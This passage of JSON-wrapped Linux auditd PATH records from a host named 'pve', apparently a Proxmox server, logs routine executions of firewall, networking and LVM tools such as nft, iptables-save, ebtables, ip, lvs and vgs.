cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965335106,"@rawstring":"node=pve type=PATH msg=audit(1781965335.106:65157): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965335098,"@rawstring":"node=pve type=PATH msg=audit(1781965335.098:65156): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965335098,"@rawstring":"node=pve type=PATH msg=audit(1781965335.098:65156): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965334169,"@rawstring":"node=pve type=PATH msg=audit(1781965334.169:65155): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965334169,"@rawstring":"node=pve type=PATH msg=audit(1781965334.169:65155): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965334139,"@rawstring":"node=pve type=PATH msg=audit(1781965334.139:65154): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965334139,"@rawstring":"node=pve type=PATH msg=audit(1781965334.139:65154): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965332630,"@rawstring":"node=pve type=PATH msg=audit(1781965332.630:65153): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965332630,"@rawstring":"node=pve type=PATH msg=audit(1781965332.630:65153): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965332630,"@rawstring":"node=pve type=PATH msg=audit(1781965332.630:65152): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965332630,"@rawstring":"node=pve type=PATH msg=audit(1781965332.630:65151): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965332603,"@rawstring":"node=pve type=PATH msg=audit(1781965332.603:65150): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965332603,"@rawstring":"node=pve type=PATH msg=audit(1781965332.603:65150): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965332603,"@rawstring":"node=pve type=PATH msg=audit(1781965332.603:65149): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965332603,"@rawstring":"node=pve type=PATH msg=audit(1781965332.603:65148): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965327597,"@rawstring":"node=pve type=PATH msg=audit(1781965327.597:65146): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965327597,"@rawstring":"node=pve type=PATH msg=audit(1781965327.597:65146): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965327597,"@rawstring":"node=pve type=PATH msg=audit(1781965327.597:65145): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965327597,"@rawstring":"node=pve type=PATH msg=audit(1781965327.597:65144): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965327587,"@rawstring":"node=pve type=PATH msg=audit(1781965327.587:65143): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965327587,"@rawstring":"node=pve type=PATH msg=audit(1781965327.587:65143): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965327587,"@rawstring":"node=pve type=PATH msg=audit(1781965327.587:65142): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965327587,"@rawstring":"node=pve type=PATH msg=audit(1781965327.587:65141): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965326088,"@rawstring":"node=pve type=PATH msg=audit(1781965326.088:65140): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965326088,"@rawstring":"node=pve type=PATH msg=audit(1781965326.088:65140): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965326083,"@rawstring":"node=pve type=PATH msg=audit(1781965326.083:65139): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965326083,"@rawstring":"node=pve type=PATH msg=audit(1781965326.083:65139): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965326083,"@rawstring":"node=pve type=PATH msg=audit(1781965326.083:65138): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965326083,"@rawstring":"node=pve type=PATH msg=audit(1781965326.083:65138): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965326083,"@rawstring":"node=pve type=PATH msg=audit(1781965326.083:65137): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965326079,"@rawstring":"node=pve type=PATH msg=audit(1781965326.079:65136): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965326079,"@rawstring":"node=pve type=PATH msg=audit(1781965326.079:65136): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965326079,"@rawstring":"node=pve type=PATH msg=audit(1781965326.079:65136): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965326071,"@rawstring":"node=pve type=PATH msg=audit(1781965326.071:65135): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965326071,"@rawstring":"node=pve type=PATH msg=audit(1781965326.071:65135): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965326065,"@rawstring":"node=pve type=PATH msg=audit(1781965326.065:65134): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965326065,"@rawstring":"node=pve type=PATH msg=audit(1781965326.065:65134): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965326057,"@rawstring":"node=pve type=PATH msg=audit(1781965326.057:65133): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965326057,"@rawstring":"node=pve type=PATH msg=audit(1781965326.057:65133): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965326050,"@rawstring":"node=pve type=PATH msg=audit(1781965326.050:65132): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965326050,"@rawstring":"node=pve type=PATH msg=audit(1781965326.050:65132): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965326043,"@rawstring":"node=pve type=PATH msg=audit(1781965326.043:65130): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965326043,"@rawstring":"node=pve type=PATH msg=audit(1781965326.043:65130): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965326038,"@rawstring":"node=pve type=PATH msg=audit(1781965326.038:65129): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965326038,"@rawstring":"node=pve type=PATH msg=audit(1781965326.038:65129): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965326032,"@rawstring":"node=pve type=PATH msg=audit(1781965326.032:65128): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965326032,"@rawstring":"node=pve type=PATH msg=audit(1781965326.032:65128): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965326025,"@rawstring":"node=pve type=PATH msg=audit(1781965326.025:65127): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965326025,"@rawstring":"node=pve type=PATH msg=audit(1781965326.025:65127): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965326020,"@rawstring":"node=pve type=PATH msg=audit(1781965326.020:65126): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965326020,"@rawstring":"node=pve type=PATH msg=audit(1781965326.020:65126): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965326015,"@rawstring":"node=pve type=PATH msg=audit(1781965326.015:65125): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965326015,"@rawstring":"node=pve type=PATH msg=audit(1781965326.015:65125): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965326006,"@rawstring":"node=pve type=PATH msg=audit(1781965326.006:65124): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965326006,"@rawstring":"node=pve type=PATH msg=audit(1781965326.006:65124): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965326000,"@rawstring":"node=pve type=PATH msg=audit(1781965326.000:65123): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965326000,"@rawstring":"node=pve type=PATH msg=audit(1781965326.000:65123): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965325997,"@rawstring":"node=pve type=PATH msg=audit(1781965325.997:65122): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965325997,"@rawstring":"node=pve type=PATH msg=audit(1781965325.997:65122): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965325992,"@rawstring":"node=pve type=PATH msg=audit(1781965325.992:65121): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965325992,"@rawstring":"node=pve type=PATH msg=audit(1781965325.992:65121): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965325992,"@rawstring":"node=pve type=PATH msg=audit(1781965325.992:65120): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965325992,"@rawstring":"node=pve type=PATH msg=audit(1781965325.992:65120): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965325990,"@rawstring":"node=pve type=PATH msg=audit(1781965325.990:65119): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965325986,"@rawstring":"node=pve type=PATH msg=audit(1781965325.986:65118): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965325986,"@rawstring":"node=pve type=PATH msg=audit(1781965325.986:65118): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965325986,"@rawstring":"node=pve type=PATH msg=audit(1781965325.986:65118): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965325980,"@rawstring":"node=pve type=PATH msg=audit(1781965325.980:65117): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965325980,"@rawstring":"node=pve type=PATH msg=audit(1781965325.980:65117): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965325972,"@rawstring":"node=pve type=PATH msg=audit(1781965325.972:65116): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965325972,"@rawstring":"node=pve type=PATH msg=audit(1781965325.972:65116): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965325968,"@rawstring":"node=pve type=PATH msg=audit(1781965325.968:65115): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965325968,"@rawstring":"node=pve type=PATH msg=audit(1781965325.968:65115): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965325960,"@rawstring":"node=pve type=PATH msg=audit(1781965325.960:65114): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965325960,"@rawstring":"node=pve type=PATH msg=audit(1781965325.960:65114): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965325952,"@rawstring":"node=pve type=PATH msg=audit(1781965325.952:65113): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965325952,"@rawstring":"node=pve type=PATH msg=audit(1781965325.952:65113): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965325070,"@rawstring":"node=pve type=PATH msg=audit(1781965325.070:65112): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965325070,"@rawstring":"node=pve type=PATH msg=audit(1781965325.070:65112): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965325040,"@rawstring":"node=pve type=PATH msg=audit(1781965325.040:65111): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965325040,"@rawstring":"node=pve type=PATH msg=audit(1781965325.040:65111): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965322581,"@rawstring":"node=pve type=PATH msg=audit(1781965322.581:65110): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965322581,"@rawstring":"node=pve type=PATH msg=audit(1781965322.581:65110): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965322580,"@rawstring":"node=pve type=PATH msg=audit(1781965322.580:65109): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965322580,"@rawstring":"node=pve type=PATH msg=audit(1781965322.580:65108): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965322571,"@rawstring":"node=pve type=PATH msg=audit(1781965322.571:65107): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965322571,"@rawstring":"node=pve type=PATH msg=audit(1781965322.571:65107): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965322571,"@rawstring":"node=pve type=PATH msg=audit(1781965322.571:65106): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965322571,"@rawstring":"node=pve type=PATH msg=audit(1781965322.571:65105): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965317563,"@rawstring":"node=pve type=PATH msg=audit(1781965317.563:65104): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965317563,"@rawstring":"node=pve type=PATH msg=audit(1781965317.563:65104): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965317563,"@rawstring":"node=pve type=PATH msg=audit(1781965317.563:65103): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965317562,"@rawstring":"node=pve type=PATH msg=audit(1781965317.562:65102): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965317553,"@rawstring":"node=pve type=PATH msg=audit(1781965317.553:65101): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965317553,"@rawstring":"node=pve type=PATH msg=audit(1781965317.553:65101): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965317553,"@rawstring":"node=pve type=PATH msg=audit(1781965317.553:65100): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965317553,"@rawstring":"node=pve 